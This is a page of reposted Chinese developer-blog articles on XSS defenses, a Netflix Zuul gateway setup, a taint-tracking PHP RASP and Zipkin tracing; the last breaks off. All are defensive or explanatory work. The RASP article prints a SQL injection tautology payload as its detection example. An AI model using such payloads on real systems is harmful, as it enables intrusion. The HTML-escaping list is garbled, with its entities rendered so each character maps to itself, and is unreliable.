其实如今一些流行的浏览器都内置了一些对抗XSS的措施,比如Firefox的CSP、IE 8内置的XSS Filter等。除此之外,还有以下防御手段

HttpOnly

HttpOnly最早是由微软提出,并在IE6中实现的,至今已逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly 属性的Cookie。以下浏览器开始支持HttpOnly:

  • Microsoft IE 6 SP1+
  • Mozilla FireFox 2.0.0.5+
  • Mozilla Firefox 3.0.0.6+
  • Google Chrome
  • Apple Safari 4.0+
  • Opera 9.5+

一个Cookie的使用过程如下:
Step1: 浏览器向服务器发送请求,这时候没有cookie。
Step2: 服务器返回同时,发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3: 在该Cookie到期前,浏览器访问该域名下所有的页面,都将发送该Cookie。
而HttpOnly是在Set-Cookie时标记的。

输入检查

常见的Web漏洞,如XSS、SQL注入等,都要求攻击者构造一些特殊的字符串,而这些字符串是一般用户不会用到的,所以进行输入检查就很有必要了。
输入检查可以在用户输入的格式检查中进行。很多网站的用户名都要求是字母及数字的组合如“abc1234”,其实也能过滤一部分的XSS和SQL注入。但是,这种在客户端的限制很容易被绕过,攻击者可以用JavaScript或一些请求工具,直接构造请求,想网站注入XSS或者SQL。所以,除了在客户端进行格式检查,往往还需要在后端进行二次检查。客户端的检查主要作用是阻挡大部分误操作的正常用户,从而节约服务器资源。

对输出转义

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。

  1. 为了对抗XSS,在HtmlEncode中至少转换以下字符:

< 转成 <;

> 转成 >;

& 转成 &;

“ 转成 ";

‘ 转成 '


参考链接:
www.zhihu.com/question/26…

《白帽子讲Web安全》

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

微服务网关netflix-zuul

发表于 2017-11-13

引言:前面一个系列文章介绍了认证鉴权与API权限控制在微服务架构中的设计与实现 ,好多同学询问有没有完整的demo项目,笔者回答肯定有的。由于之前系列文章侧重讲解了权限前置,所以近期补上完整的后置项目,但是这最好有一个完整的微服务调用。本文主要讲下API网关的设计与实现。netflix-zuul是由netflix开源的API网关,在微服务架构下,网关作为对外的门户,实现动态路由、监控、授权、安全、调度等功能。

  1. 网关介绍

当使用单体应用程序架构时,移动客户端将通过向应用程序发起一次REST调用来获取这些数据。负载均衡器将请求路由给N个相同的应用程序实例中的一个。然后应用程序会查询各种数据库表,并将响应返回给客户端。微服务架构下,单体应用被切割成多个微服务,如果将所有的微服务直接对外暴露,势必会出现安全方面的各种问题。
客户端可以直接向每个微服务发送请求,其问题主要如下:

  • 一个问题是客户端需求和每个微服务暴露的细粒度API不匹配。
  • 客户端直接调用微服务的另一个问题是,部分服务使用的协议不是Web友好协议。一个服务可能使用Thrift二进制RPC,而另一个服务可能使用AMQP消息传递协议。不管哪种协议都不是浏览器友好或防火墙友好的,最好是内部使用。在防火墙之外,应用程序应该使用诸如HTTP和WebSocket之类的协议。
  • 最后,这会使得微服务难以重构。随着时间推移,我们可能想要更改系统划分成服务的方式。例如,我们可能合并两个服务,或者将一个服务拆分成两个或更多服务。然而,如果客户端与微服务直接通信,那么执行这类重构就非常困难了。

一个更好的方法是使用所谓的API网关。API网关是一个服务器,是系统的唯一入口。从面向对象设计的角度看,它与外观模式类似。API网关封装了系统内部架构,为每个客户端提供一个定制的API。它可能还具有其它职责,如身份验证、监控、负载均衡、限流、降级与应用检测。

zu

zuul

API网关负责服务请求路由、组合及协议转换。客户端的所有请求都首先经过API网关,然后由它将请求路由到合适的微服务。API网管经常会通过调用多个微服务并合并结果来处理一个请求。它可以在Web协议(如HTTP与WebSocket)与内部使用的非Web友好协议之间转换。

API网关还能为每个客户端提供一个定制的API。通常,它会向移动客户端暴露一个粗粒度的API。例如,考虑下产品详情的场景。API网关可以提供一个端点(/productdetails?productid=xxx),使移动客户端可以通过一个请求获取所有的产品详情。API网关通过调用各个服务(产品信息、推荐、评论等等)并合并结果来处理请求。

  1. zuul网关

API Gateway,常见的选型有基于 Openresty 的 Kong和基于 JVM 的 Zuul,其他还有基于Go的Tyk。技术选型上,之前稍微调研了Kong,性能还可以。考虑到快速应用和二次开发,netflix-zuul也在Spring Cloud的全家桶中,和其他组件配合使用还挺方便,后期可能还会对网关的功能进行扩增,最后选了Zuul。

2.1 pom配置

1
2
3
4
5
6
7
8
9
10
复制代码<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-zuul</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-consul-discovery</artifactId>
</dependency>
</dependencies>

在Spring Cloud的项目中,引入zuul的starter,consul-discovery是为了服务的动态路由,这边没有用eureka,是通过注册到consul上的服务实例进行路由。

2.2 入口类

1
2
3
4
5
6
7
复制代码@SpringBootApplication
@EnableZuulProxy
public class GatewayApplication {
public static void main(String[] args) {
SpringApplication.run(GatewayApplication.class, args);
}
}

Spring boot的入口类需要加上@EnableZuulProxy,下面看下这个注解。

1
2
3
4
5
6
7
复制代码@EnableCircuitBreaker
@EnableDiscoveryClient
@Target({ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Import({ZuulProxyConfiguration.class})
public @interface EnableZuulProxy {
}

可以看到该注解还包含了@EnableCircuitBreaker 和 @EnableDiscoveryClient。@EnableDiscoveryClient注解在服务启动的时候,可以触发服务注册的过程,向配置文件中指定的服务注册中心;@EnableCircuitBreaker则开启了Hystrix的断路器。

2.3 bootstrap.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
复制代码server:
port: 10101

#spring config
spring:
application:
name: gateway-server
cloud:
consul:
discovery:
preferIpAddress: true
enabled: true
register: true
service-name: api-getway
ip-address: localhost
port: ${server.port}
lifecycle:
enabled: true
scheme: http
prefer-agent-address: false
host: localhost
port: 8500
#zuul config and routes
zuul:
host:
maxTotalConnections: 500
maxPerRouteConnections: 50
routes:
user:
path: /user/**
ignoredPatterns: /consul
serviceId: user
sensitiveHeaders: Cookie,Set-Cookie

配置主要包括三块,服务端口,Spring Cloud服务注册,最后是zuul的路由配置。

默认情况下,Zuul在请求路由时,会过滤HTTP请求头信息中的一些敏感信息,默认的敏感头信息通过zuul.sensitiveHeaders定义,包括Cookie、Set-Cookie、Authorization。

zuul.host.maxTotalConnections配置了每个服务的http客户端连接池最大连接,默认值是200。maxPerRouteConnections每个route可用的最大连接数,默认值是20。

2.3 支持https

上线的项目一般域名都会改为https协议,顺手写下https的配置。

  • 首先申请https的数字证书
    在阿里云生成的针对tomcat服务器CA证书在申请成功后, 下载相应的tomcat证书文件。 包含如下:
    1): .pfx为keystore文件,服务器用的就是这个文件
    2): pfx-password.txt里包含有keystore所用到的密码
    3): .key里面包含的是私钥,暂时没用到此文件
    4): *.pem里面包含的是公钥,主要给客户端
  • bootstrap.yml增加如下配置
1
2
3
4
5
6
7
8
9
复制代码# https
server:
port: 5443
http: 10101
ssl:
enabled: true
key-store: classpath:214329585620980.pfx
key-store-password: password
keyStoreType: PKCS12
  • 同时支持http和https
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
复制代码@Bean
public EmbeddedServletContainerFactory servletContainer() {
TomcatEmbeddedServletContainerFactory tomcat = new TomcatEmbeddedServletContainerFactory() {
@Override
protected void postProcessContext(Context context) {
SecurityConstraint constraint = new SecurityConstraint();
constraint.setUserConstraint("CONFIDENTIAL");
SecurityCollection collection = new SecurityCollection();
collection.addPattern("");
constraint.addCollection(collection);
context.addConstraint(constraint);
}
};
tomcat.addAdditionalTomcatConnectors(httpConnector());
return tomcat;
}
@Bean
public Connector httpConnector() {
Connector connector = new Connector("org.apache.coyote.http11.Http11NioProtocol");
connector.setScheme("http");
//Connector监听的http的端口号
connector.setPort(httpPort);
connector.setSecure(false);
//监听到http的端口号后转向到的https的端口号
connector.setRedirectPort(securePort);
return connector;
}

servletContainer()把EmbeddedServletContainerFactory注入到web容器中,用postProcessContext拦截所有的/*请求,并把其关联到下面的httpConnector中。最后,在httpConnector()中,把http设为10101端口,并把http的请求跳转到5443的https端口,这边是读取的配置文件。

至此,至此同时支持https和http的API网关完成,将匹配到/user的请求,路由到user服务,是不是很简单?下面一起深入了解下Zuul。

  1. 一些internals

internals可以理解为内幕。

3.1 过滤器

filter是Zuul的核心,用来实现对外服务的控制。filter的生命周期有4个,分别是pre、route、post、error,整个生命周期可以用下图来表示。

filter

zuul过滤器

一个请求会先按顺序通过所有的前置过滤器,之后在路由过滤器中转发给后端应用,得到响应后又会通过所有的后置过滤器,最后响应给客户端。error可以在所有阶段捕获异常后执行。

一般来说,如果需要在请求到达后端应用前就进行处理的话,会选择前置过滤器,例如鉴权、请求转发、增加请求参数等行为。后面衔接auth系统部分给出具体实现,也是基于pre过滤。

在请求完成后需要处理的操作放在后置过滤器中完成,例如统计返回值和调用时间、记录日志、增加跨域头等行为。路由过滤器一般只需要选择 Zuul 中内置的即可。

错误过滤器一般只需要一个,这样可以在 Gateway 遇到错误逻辑时直接抛出异常中断流程,并直接统一处理返回结果。

3.2 配置管理

后端服务 API可能根据情况,有些不需要登录校验了,这个配置信息怎么动态加载到网关配置当中?笔者认为有两种方式:一是配置信息存到库中,定期实现对网关服务的配置刷新;另一种就是基于配置中心服务,当配置提交到配置中心时,触发网关服务的热更新。

后端应用无关的配置,有些是自动化的,例如恶意请求拦截,Gateway 会将所有请求的信息通过消息队列发送给一些实时数据分析的应用,这些应用会对请求分析,发现恶意请求的特征,并通过 Gateway 提供的接口将这些特征上报给 Gateway,Gateway 就可以实时的对这些恶意请求进行拦截。

3.3 隔离机制

在微服务的模式下,应用之间的联系变得没那么强烈,理想中任何一个应用超过负载或是挂掉了,都不应该去影响到其他应用。但是在 Gateway 这个层面,有没有可能出现一个应用负载过重,导致将整个 Gateway 都压垮了,已致所有应用的流量入口都被切断?

这当然是有可能的,想象一个每秒会接受很多请求的应用,在正常情况下这些请求可能在 10 毫秒之内就能正常响应,但是如果有一天它出了问题,所有请求都会 Block 到 30 秒超时才会断开(例如频繁 Full GC 无法有效释放内存)。那么在这个时候,Gateway 中也会有大量的线程在等待请求的响应,最终会吃光所有线程,导致其他正常应用的请求也受到影响。

在 Zuul 中,每一个后端应用都称为一个 Route,为了避免一个 Route 抢占了太多资源影响到其他 Route 的情况出现,Zuul 使用 Hystrix 对每一个 Route 都做了隔离和限流。

Hystrix 的隔离策略有两种,基于线程或是基于信号量。Zuul 默认的是基于线程的隔离机制,之前章节的配置可以回顾下,这意味着每一个 Route 的请求都会在一个固定大小且独立的线程池中执行,这样即使其中一个 Route 出现了问题,也只会是某一个线程池发生了阻塞,其他 Route 不会受到影响。

一般使用 Hystrix 时,只有调用量巨大会受到线程开销影响时才会使用信号量进行隔离策略,对于 Zuul 这种网络请求的用途使用线程隔离更加稳妥。

3.4 重试机制

一般来说,后端应用的健康状态是不稳定的,应用列表随时会有修改,所以 Gateway 必须有足够好的容错机制,能够减少后端应用变更时造成的影响。

简单介绍下 Ribbon 支持哪些容错配置。重试的场景分为三种:

  • okToRetryOnConnectErrors:只重试网络错误
  • okToRetryOnAllErrors:重试所有错误
  • OkToRetryOnAllOperations:重试所有操作

重试的次数有两种:

  • MaxAutoRetries:每个节点的最大重试次数
  • MaxAutoRetriesNextServer:更换节点重试的最大次数

一般来说我们希望只在网络连接失败时进行重试、或是对 5XX 的 GET 请求进行重试(不推荐对 POST 请求进行重试,无法保证幂等性会造成数据不一致)。单台的重试次数可以尽量小一些,重试的节点数尽量多一些,整体效果会更好。

如果有更加复杂的重试场景,例如需要对特定的某些 API、特定的返回值进行重试,那么也可以通过实现 RequestSpecificRetryHandler 定制逻辑(不建议直接使用 RetryHandler,因为这个子类可以使用很多已有的功能)。

  1. 总结

本文首先介绍了API网关的相关知识;其次介绍了zuul网关的配置实现,同时支持https;最后介绍了zuul网关的一些内幕原理,这边大部分参考了网上的文章。网关作为内网与外网之间的门户,所有访问内网的请求都会经过网关,网关处进行反向代理。在整个Spring Cloud微服务框架里,Zuul扮演着”智能网关“的角色。

gitee: gitee.com/keets/sprin…
github: github.com/keets2012/S…


参考

  1. 聊聊 API Gateway 和 Netflix Zuul
  2. Spring Cloud技术分析(4)- spring cloud zuul
  3. netflix-zuul

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

一类PHP RASP实现

发表于 2017-11-13

作者:c0d3p1ut0s & s1m0n

RASP概念

RASP(Runtime Application self-protection)是一种在运行时检测攻击并且进行自我保护的一种技术。早在2012年,Gartner就开始关注RASP,惠普、WhiteHat Security等多家国外安全公司陆续推出RASP产品,时至今日,惠普企业的软件部门出售给了Micro Focus,RASP产品Application Defender随之易主。而在国内,去年知道创宇KCon大会兵器谱展示了JavaRASP,前一段时间,百度开源了OpenRASP,去年年底,360的0kee团队开始测试Skywolf,虽然没有看到源码和文档,但它的设计思路或许跟RASP类似。而商业化的RASP产品有OneAPM的OneRASP和青藤云的自适应安全产品。在国内,这两家做商业化RASP产品做得比较早。

那么RASP到底是什么呢?它到底是怎样工作的呢?

我的WAF世界观

为了表述方便,暂且把RASP归为WAF的一类。从WAF所在的拓扑结构,可以简单将WAF分为如下三类,如下图所示:

  • 以阿里云为代表的云WAF以中间人的形式,在HTTP请求到达目标服务器之前进行检查拦截。
  • 以ModSecurity为代表的传统WAF在HTTP请求到达HTTP服务器后,被Web后端容器解释/执行之前检查拦截HTTP请求。
  • RASP工作在Web后端解释器/编译器中,在漏洞代码执行前阻断执行流。

从上图中WAF所处的位置可以看出,云WAF和传统WAF的检查拦截HTTP请求的主要依据是HTTP Request,其实,如果站在一个非安全从业者的角度来看,这种检测方式是奇怪的。我们可以把Web服务看做是一个接受输入-处理-输出结果的程序,那么它的输入是HTTP请求,它的输出是HTTP响应。靠检测一个程序的输入和输出来判断这个程序的运行过程是否有害,这不奇怪吗?然而它又是可行且有效的,大多数的Web攻击都能从HTTP请求中找到蛛丝马迹。这种检测思路是云WAF和传统WAF能有效工作的原因,也是它们的缺点。

笔者一直认为,问题发生的地方是监控问题、解决问题的最好位置。Web攻击发生在Web后端代码执行时,最好的防护方法就是在Web后端代码执行之前推测可能发生的问题,然后阻断代码的执行。这里的推测并没有这么难,就好像云WAF在检查包含攻击payload的HTTP请求时推测它会危害Web服务一样。这就是RASP的设计思路。

好了,上面谈了一下笔者个人的一些看法,下面开始谈一谈PHP RASP的实现。

RASP在后端代码运行时做安全监测,但又不侵入后端代码,就得切入Web后端解释器。以Java为例,Java支持以JavaAgent的方式,在class文件加载时修改字节码,在关键位置插入安全检查代码,实现RASP功能。同样,PHP也支持对PHP内核做类似的操作,PHP支持PHP扩展,实现这方面的需求。你可能对JavaAgent和PHP扩展比较陌生,实际上,在开发过程中,JavaAgent和PHP扩展与你接触的次数比你意识到的多得多。

PHP扩展简介

有必要介绍一下PHP解释的简单工作流程,根据PHP解释器所处的环境不同,PHP有不同的工作模式,例如常驻CGI,命令行、Web Server模块、通用网关接口等多个模式。在不同的模式下,PHP解释器以不同的方式运行,包括单线程、多线程、多进程等。

为了满足不同的工作模式,PHP开发者设计了Server API即SAPI来抹平这些差异,方便PHP内部与外部进行通信。

虽然PHP运行模式各不相同,但是,PHP的任何扩展模块,都会依次执行模块初始化(MINIT)、请求初始化(RINIT)、请求结束(RSHUTDOWN)、模块结束(MSHUTDOWN)四个过程。如下图所示:

在PHP实例启动时,PHP解释器会依次加载每个PHP扩展模块,调用每个扩展模块的MINIT函数,初始化该模块。当HTTP请求来临时,PHP解释器会调用每个扩展模块的RINIT函数,请求处理完毕时,PHP会启动回收程序,倒序调用各个模块的RSHUTDOWN方法,一个HTTP请求处理就此完成。由于PHP解释器运行的方式不同,RINIT-RSHUTDOWN这个过程重复的次数也不同。当PHP解释器运行结束时,PHP调用每个MSHUTDOWN函数,结束生命周期。

PHP核心由两部分组成,一部分是PHP core,主要负责请求管理,文件和网络操作,另一部分是Zend引擎,Zend引擎负责编译和执行,以及内存资源的分配。Zend引擎将PHP源代码进行词法分析和语法分析之后,生成抽象语法树,然后编译成Zend字节码,即Zend opcode。即PHP源码->AST->opcode。opcode就是Zend虚拟机中的指令。使用VLD扩展可以看到Zend opcode,这个扩展读者应该比较熟悉了。下面代码的opcode如图所示

1
2
3
4
5
复制代码<?php
$a=1;
$b=2;
print $a+$b;
>

Zend引擎的所有opcode在php.net/manual/en/i… 中可以查到,在PHP的内部实现中,每一个opcode都由一个函数具体实现,opcode数据结构如下

1
2
3
4
5
6
7
8
9
复制代码struct _zend_op {
opcode_handler_t handler;//执行opcode时调用的处理函数
znode result;
znode op1;
znode op2;
ulong extended_value;
uint lineno;
zend_uchar opcode;
};

如结构体所示,具体实现函数的指针保存在类型为opcode_handler_t的handler中。

设计思路

PHP RASP的设计思路很直接,安全圈有一句名言叫一切输入都是有害的,我们就跟踪这些有害变量,看它们是否对系统造成了危害。我们跟踪了HTTP请求中的所有参数、HTTP Header等一切client端可控的变量,随着这些变量被使用、被复制,信息随之流动,我们也跟踪了这些信息的流动。我们还选取了一些敏感函数,这些函数都是引发漏洞的函数,例如require函数能引发文件包含漏洞,mysqli->query方法能引发SQL注入漏洞。简单来说,这些函数都是大家在代码审计时关注的函数。我们利用某些方法为这些函数添加安全检查代码。当跟踪的信息流流入敏感函数时,触发安全检查代码,如果通过安全检查,开始执行敏感函数,如果没通过安全检查,阻断执行,通过SAPI向HTTP
Server发送403 Forbidden信息。当然,这一切都在PHP代码运行过程中完成。

这里主要有两个技术问题,一个是如何跟踪信息流,另一个是如何安全检查到底是怎样实现的。

我们使用了两个技术思路来解决两个问题,第一个是动态污点跟踪,另一个是基于词法分析的漏洞检测。

动态污点跟踪

对PHP内核有一些了解的人应该都知道鸟哥,鸟哥有一个项目taint,做的就是动态污点跟踪。动态污点跟踪技术在白盒的调试和分析中应用比较广泛。它的主要思路就是先认定一些数据源是可能有害的,被污染的,在这里,我们认为所有的HTTP输入都是被污染的,所有的HTTP输入都是污染源。随着这些被污染变量的复制、拼接等一系列操作,其他变量也会被污染,污染会扩大,这就是污染的传播。这些经过污染的变量作为参数传入敏感函数以后,可能导致安全问题,这些敏感函数就是沉降点。

做动态污点跟踪主要是定好污染源、污染传播策略和沉降点。在PHP RASP中,污染源和沉降点显而易见,而污染传播策略的制定影响对RASP的准确性有很大的影响。传播策略过于严格会导致漏报,传播策略过于宽松会增加系统开销。PHP RASP的污染传播策略是变量的复制、赋值和大部分的字符串处理等操作传播污染。

动态污点跟踪的一个小小好处是如果一些敏感函数的参数没有被污染,那么我们就无需对它进行安全检查。当然,这只是它的副产物,它的大作用在漏洞检测方面。

动态污点跟踪的实现比较复杂,有兴趣的可以去看看鸟哥的taint,鸟哥的taint也是以PHP扩展的方式做动态污点跟踪。PHP RASP中,这部分是基于鸟哥的taint修改、线程安全优化、适配不同PHP版本实现的。在发行过程中,我们也将遵守taint的License。

在PHP解释器中,全局变量都保存在一个HashTable类型的符号表symbol_table中,包括预定义变量$GLOBALS、$_GET、$_POST等。我们利用变量结构体中的flag中未被使用的一位来标识这个变量是否被污染。在RINIT过程中,我们通过这个方法首先将$_GET,$_POST,$_SERVER等数组中的值标记为污染,这样,我们就完成了污染源的标记。

污染的传播过程其实就是hook对应的函数,在PHP中,可以从两个层面hook函数,一是通过修改zend_internal_function的handler来hook PHP中的内部函数,handler指向的函数用C或者C++编写,可以直接执行。zend_internal_function的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
复制代码//zend_complie.h
typedef struct _zend_internal_function {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string* function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_internal_arg_info *arg_info;
/* END of common elements */

void (*handler)(INTERNAL_FUNCTION_PARAMETERS); //函数指针,展开:void (*handler)(zend_execute_data *execute_data, zval *return_value)
struct _zend_module_entry *module;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

我们可以通过修改zend_internal_function结构体中handler的指向,待完成我们需要的操作后再调用原来的处理函数即可完成hook。 另一种是hook opcode,需要使用zend提供的API zend_set_user_opcode_handler来修改opcode的handler来实现。

我们在MINIT函数中用这两种方法来hook传播污染的函数,如下图所示

当传播污染的函数被调用时,如果这个函数的参数是被污染的,那么把它的返回值也标记成污染。以hook内部函数str_replace函数为例,hook后的rasp_str_replace如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
复制代码PHP_FUNCTION(rasp_str_replace)
{
zval *str, *from, *len, *repl;
int tainted = 0;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zzz|z", &str, &repl, &from, &len) == FAILURE) {
return;
}//取参

if (IS_STRING == Z_TYPE_P(repl) && PHP_RASP_POSSIBLE(repl)) {
tainted = 1;
} else if (IS_STRING == Z_TYPE_P(from) && PHP_RASP_POSSIBLE(from)) {
tainted = 1;
}//判断

RASP_O_FUNC(str_replace)(INTERNAL_FUNCTION_PARAM_PASSTHRU);//调用原函数执行

if (tainted && IS_STRING == Z_TYPE_P(return_value) && Z_STRLEN_P(return_value)) {
TAINT_MARK(Z_STR_P(return_value));
}//污染标记
}

首先获取参数,判断参数from和repl是否被污染,如果被污染,将返回值标记为污染,这样就完成污染传播过程。

当被污染的变量作为参数被传入关键函数时,触发关键函数的安全检查代码,这里的实现其实跟上面的类似。PHP的中函数调用都是由三个Zend opcode:ZEND_DO_FCALL,ZEND_DO_ICALL 和 ZEND_DO_FCALL_BY_NAME中某一个opcode来进行的。每个函数的调用都会运行这三个 opcode 中的一个。通过劫持三个 opcode来hook函数调用,就能获取调用的函数和参数。这里我们只需要hook opcode,就是上面第二幅图示意的部分,为了让读者更加清晰,我把它复制下来。

如图,在MINIT方法中,我们利用Zend API zend_set_user_opcode_handler来hook这三个opcode,监控敏感函数。在PHP内核中,当一个函数通过上述opcode调用时,Zend引擎会在函数表中查找函数,然后返回一个zend_function类型的指针,zend_function的结构如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
复制代码union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */

struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
union _zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;

zend_op_array op_array;
zend_internal_function internal_function;
};

其中,common.function_name指向这个函数的函数名,common.scope指向这个方法所在的类,如果一个函数不属于某个类,例如PHP中的fopen函数,那么这个scope的值是null。这样,我们就获取了当前函数的函数名和类名。

以上的行文逻辑是以RASP的角度来看的,先hook opcode和内部函数,来实现动态污点跟踪,然后通过hook函数调用时运行的三个opcode来对监控函数调用。实际上,在PHP内核中,一个函数的调用过程跟以上的行文逻辑是相反的。

当一个函数被调用时,如上文所述,根据这个函数调用的方式不同,例如直接调用或者通过函数名调用,由Zend opcode,ZEND_DO_FCALL,ZEND_DO_ICALL 和 ZEND_DO_FCALL_BY_NAME中的某一个opcode来进行。Zend引擎会在函数表中搜索该函数,返回一个zend_function指针,然后判断zend_function结构体中的type,如果它是内部函数,则通过zend_internal_function.handler来执行这个函数,如果handler已被上述hook方法替换,则调用被修改的handler;如果它不是内部函数,那么这个函数就是用户定义的函数,就调用zend_execute来执行这个函数包含的zend_op_array。

现在我们从RASP的角度和PHP内核中函数执行的角度来看了动态污点跟踪和函数的hook,接下来,我们需要对不同类型的关键函数进行安全检测。

基于词法分析的攻击检测

传统WAF和云WAF在针对HTTP Request检测时有哪些方法呢?常见的有正则匹配、规则打分、机器学习等,那么,处于PHP解释器内部的PHP RASP如何检测攻击呢?

首先,我们可以看PHP RASP可以获取哪些数据作为攻击检测的依据。与其他WAF一样,PHP RASP可以获取HTTP请求的Request。不同的是,它还能获取当前执行函数的函数名和参数,以及哪些参数是被污染的。当然,像传统WAF一样,利用正则表达式来作为规则来匹配被污染的函数参数也是PHP RASP检测的一种方法。不过,对于大多数的漏洞,我们采用的是利用词法分析来检测漏洞。准确的来说,对于大多数代码注入漏洞,我们使用词法分析来检测漏洞。

代码注入漏洞,是指攻击者可以通过HTTP请求将payload注入某种代码中,导致payload被当做代码执行的漏洞。例如SQL注入漏洞,攻击者将SQL注入payload插入SQL语句中,并且被SQL引擎解析成SQL代码,影响原SQL语句的逻辑,形成注入。同样,文件包含漏洞、命令执行漏洞、代码执行漏洞的原理也类似,也可以看做代码注入漏洞。

对于代码注入漏洞,攻击者如果需要成功利用,必须通过注入代码来实现,这些代码一旦被注入,必然修改了代码的语法树的结构。而追根到底,语法树改变的原因是词法分析结果的改变,因此,只需要对代码部分做词法分析,判断HTTP请求中的输入是否在词法分析的结果中占据了多个token,就可以判断是否形成了代码注入。

在PHP RASP中,我们通过编写有限状态机来完成词法分析。有限状态机分为确定有限状态机DFA和非确定有限状态机NFA,大多数的词法分析器,例如lex生成的词法分析器,都使用DFA,,因为它简单、快速、易实现。同样,在PHP RASP中,我们也使用DFA来做词法分析。

词法分析的核心是有限状态机,而有限状态机的构建过程比较繁琐,在此不赘述,与编译器中的词法分析不同的是,PHP RASP中词法分析的规则并不一定与这门语言的词法定义一致,因为词法分析器的输出并不需要作为语法分析器的输入来构造语法树,甚至有的时候不必区分该语言的保留字与变量名。

在经过词法分析之后,我们可以得到一串token,每个token都反映了对应的代码片段的性质,以SQL语句

1
复制代码select username from users where id='1'or'1'='1'

为例,它对应的token串如下

1
2
3
4
5
6
7
8
9
10
11
12
复制代码select <reserve word>
username <identifier>
from <reserve word>
users <identifier>
where <reserve word>
id <identifier>
= <sign>
'1' <string>
or <reserve word>
'1' <string>
= <sign>
'1' <string>

而如果这个SQL语句是被污染的(只有SQL语句被污染才会进入安全监测这一步),而且HTTP请求中某个参数的值是1’or’1’=’1,对比上述token串可以发现,HTTP请求中参数横跨了多个token,这很可能是SQL注入攻击。那么,PHP RASP会将这条HTTP请求判定成攻击,直接阻止执行SQL语句的函数继续运行。如果上述两个条件任一不成立,则通过安全检查,执行SQL语句的函数继续运行。这样就完成了一次HTTP请求的安全检查。其他代码注入类似,当然,不同的代码注入使用的DFA是不一样的,命令注入的DFA是基于shell语法构建的,文件包含的DFA是基于文件路径的词法构建的。

在开发过程中有几个问题需要注意,一个是\0的问题,在C语言中,\0代表一个字符串的结束,因此,在做词法分析或者其他字符串操作过程中,需要重新封装字符串,重写一些字符串的处理函数,否则攻击者可能通过\0截断字符串,绕过RASP的安全检查。

另一个问题是有限状态自动机的DoS问题。在一些非确定有限状态机中,如果这个自动机不接受某个输入,那么需要否定所有的可能性,而这个过程的复杂度可能是2^n。比较常见的例子是正则表达式DoS。在这里不做深入展开,有兴趣的朋友可以多了解一下。

讨论

在做完这个RASP之后,我们回头来看看,一些问题值得我们思考和讨论。

RASP有哪些优点呢?作为纵深防御中的一层,它加深了纵深防御的维度,在Web请求发生时,从HTTP Server、Web解释器/编译器到数据库,甚至是操作系统,每一层都有自己的职责,每一层也都是防护攻击的阵地,每一层也都有对应的安全产品,每一层的防护侧重点也都不同。

RASP还有一些比较明显的优点,一是对规则依赖很低,如果使用词法分析做安全检测的话基本不需要维护规则。二是减少了HTTP Server这层攻击面,绕过比较困难,绝大多数基于HTTP Server特性的绕过对RASP无效。例如HPP、HPF、畸形HTTP请求、各种编码、拆分关键字降低评分等。三是误报率比较低。从比较理想的角度来说,如果我的后端代码写得非常安全,WAF看到一个包含攻击payload的请求就拦截,这也属于误报吧。

RASP的缺点也很明显,一是部署问题,需要在每个服务器上部署。二是无法像云WAF这样,可以通过机器学习进化检验规则。三是对服务器性能有影响,但是影响不大。根据我们对PHP RASP做的性能测试结果来看,一般来说,处理一个HTTP请求所消耗的性能中,PHP RASP消耗的占3%左右。

其实,跳出RASP,动态污点跟踪和hook这套技术方案在能做的事情很多,比如性能监控、自动化Fuzz、入侵检测系统、Webshell识别等等。如果各位有什么想法,欢迎和我们交流。

参考文献

  • 鸟哥taint github.com/laruence/ta…
  • Thinking In PHP Internals
  • php.net
  • PHP Complier Internals
  • 自动机理论、语言和计算导论

关于作者

两位作者水平有限,如文章有错误疏漏,或者有任何想讨论交流的,请随时联系

  • c0d3p1ut0s c0d3p1ut0s@gmail.com
  • s1m0n simonfoxcat@gmail.com

License

在PHP RASP中,我们使用了一部分taint和PHP内核的代码。两者的License都是PHP License。因此,在软件发行过程中,我们将遵守PHP License的相关限制。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:paper.seebug.org/449/

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

zipkin原理与对接PHP 理论 PHP对接zipkin

发表于 2017-11-13

之前写过一篇博客介绍分布式调用链trace的设计,今天拿开源项目zipkin为例实践一次,加深对相关概念理解。

理论

zipkin遵从谷歌dapper的设计论文,在这里阅读中文版《Dapper,大规模分布式系统的跟踪系统》。

接着,可以看一下这篇博客,它帮助你快速将dapper中的理论映射到zipkin的实践中去:《分布式跟踪系统(一):Zipkin的背景和设计》。

最后,官方主页其实面面俱到并且简明扼要的说明了zipkin的方方面面,之前阅读的知识点在里面都有正式说明,一定要仔细读完,反复体会:zipkin.io/。

我在这里就不复述zipkin是怎么维护调用链的了,但是下面几个关键概念是我认为很影响理解的,如果你不能理解,那么最好再回头读读文章:

  1. span代表一次RPC调用,关联2个节点,是调用链的一条边。
  2. 1个完整的span,是由client调用方、server被调用方分别提供信息共同拼凑而成的。
  3. 1个完整的span应该包含4个annotation:cs/sr/ss/cr,但是不完整也是可以接受的,例如:
    1. 浏览器发起的span,没有cs与cr。
